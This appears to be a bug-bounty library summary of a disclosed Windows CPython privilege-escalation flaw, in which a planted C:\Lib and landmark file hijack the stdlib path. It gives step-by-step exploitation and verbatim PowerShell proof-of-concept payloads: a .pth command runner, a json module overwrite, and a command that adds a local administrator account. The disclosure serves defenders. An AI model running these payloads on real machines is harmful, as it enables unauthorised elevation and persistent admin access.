# Python Software Foundation - Python 3.11.0a3 to 3.15.0b2

Windows CPython resolves its stdlib via a VPATH-derived path two dirs above the install dir, letting a low-priv user plant C:\Lib and get code execution as any privileged user who runs Python.

- Payout: Research
- Severity: high
- Program: Python
- Found by (vendor credit): Jake Yamaki (https://github.com/b6938236)
- Write-up by: Jake Yamaki
- Disclosed: 2026-08-05
- CVE: CVE-2026-12003
- Write-up quality: 8/10
- Original: https://bishopfox.com/blog/python-software-foundation-python-3-11-0a3-to-3-15-0b2
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-python-software-foundation-python-3-11-0a3-to-3-15-0b2
- Tags: area:os domain:desktop impact:privesc impact:rce kind:research platform:research sev:high tech:python tech:windows technique:source-review vuln:misconfiguration vuln:privilege-escalation

**Target:** CPython interpreter path resolution (getpath.py) on Windows all-users installs
**Root cause:** The Windows build embeds the relative build path '..\..' (PyVPath) as VPATH, which getpath.py uses to build BUILD_LANDMARK (..\..\Modules\Setup.local) and build_prefix; if that marker exists, stdlib_dir becomes <install>\..\..\Lib, outside the install directory.
**Steps:**
1. Confirm affected install: `python -c "import sys; print(sys._vpath)"` returns `..\..` and install is C:\Program Files\Python<VERSION> (all-users).
2. As low-priv user, copy the real Lib and DLLs two levels up: `robocopy /E "$pythonDir\Lib" "$pythonDir\..\..\Lib"` and `robocopy /E "$pythonDir\DLLs" "$pythonDir\..\..\Lib"`.
3. Create `$pythonDir\..\..\Lib\site-packages` and drop `bishopfox.pth` containing semicolon-delimited code: `import subprocess; print(subprocess.check_output(['cmd.exe', '/c', 'whoami', '&&', 'net', 'user']) .decode('utf-8'))`.
4. Create the `$pythonDir\..\..\Modules` directory and the empty landmark `$pythonDir\..\..\Modules\Setup.local` so BUILD_LANDMARK resolves and build_prefix becomes C:\.
5. Wait for a privileged user/service to launch python; the hijacked stdlib and .pth execute in their context.
6. Alternative: overwrite `$pythonDir\..\..\Lib\json\__init__.py` so any process importing json runs the payload.
**How found:** Source review of CPython's Windows build and getpath.py: noticed VPATH was changed from a hardcoded '..\\..' to the PyVPath msbuild value and flows into sys._vpath, sysconfig VPATH, BUILD_LANDMARK and build_prefix, yielding a stdlib path outside the install dir.
**Exploitation:** Attacker needs write access two directories above the install path (default C:\ root is user-writable) and a privileged user or service account that later runs python.exe, e.g. via SCCM Software Center install/upgrade where the installer invokes the new interpreter for pip or stdlib precompile. Payload in .pth or a stdlib module runs as the privileged account; can use `Start-Process -Verb RunAs` to spawn elevated cmd and add a local admin user.
**Escalation:** Chains with self-service software deployment (SCCM Software Center, help desk installs) so a low-priv user triggers a privileged Python install/upgrade, executing the planted stdlib as SYSTEM/admin.
**Insight:** On Windows, audit any interpreter/runtime that derives its module search path from a relative build-time path (VPATH/'..\..') plus a landmark file: if the resolved prefix escapes the install dir into a user-writable parent like C:\, planting the landmark and a Lib/site-packages/.pth gives code execution in whoever next runs the binary.

## Proof of concept (copied exactly from the original report)

**PowerShell PoC hijacking Python via C:\Lib**

```
$pythonDir = python -c "import os,sys; print(os.path.dirname(sys.executable))" 

robocopy /E "$pythonDir\Lib" "$pythonDir\..\..\Lib" 
robocopy /E "$pythonDir\DLLs" "$pythonDir\..\..\Lib" 

mkdir "$pythonDir\..\..\Lib\site-packages" 

"import subprocess; print(subprocess.check_output(['cmd.exe', '/c', 'whoami', '&&', 'net', 'user']) .decode('utf-8'))" > "$pythonDir\..\..\Lib\site-packages\bishopfox.pth" 

mkdir "$pythonDir\..\..\Modules" 
"" > "$pythonDir\..\..\Modules\Setup.local"
```

**Exploit creating local admin account**

```
"import subprocess; print(subprocess.check_output(['powershell.exe', '-command', `"Start-Process -Verb RunAs cmd.exe -Args /C, net, user, BishopFox, d3fend-FORWARD, /ADD, '&&', net, localgroup, Administrators, BishopFox, /ADD`"]) .decode('utf-8'))" > "$pythonDir\..\..\Lib\site-packages\bishopfox.pth"
```

**Alternative payload injected into json module**

```
@" 
print('Bishop Fox') 
import subprocess 
print(subprocess.check_output(['cmd.exe', '/c', 'whoami', '&&', 'net', 'user']).decode('utf-8')) 
"@ > "$pythonDir\..\..\Lib\json\__init__.py"
```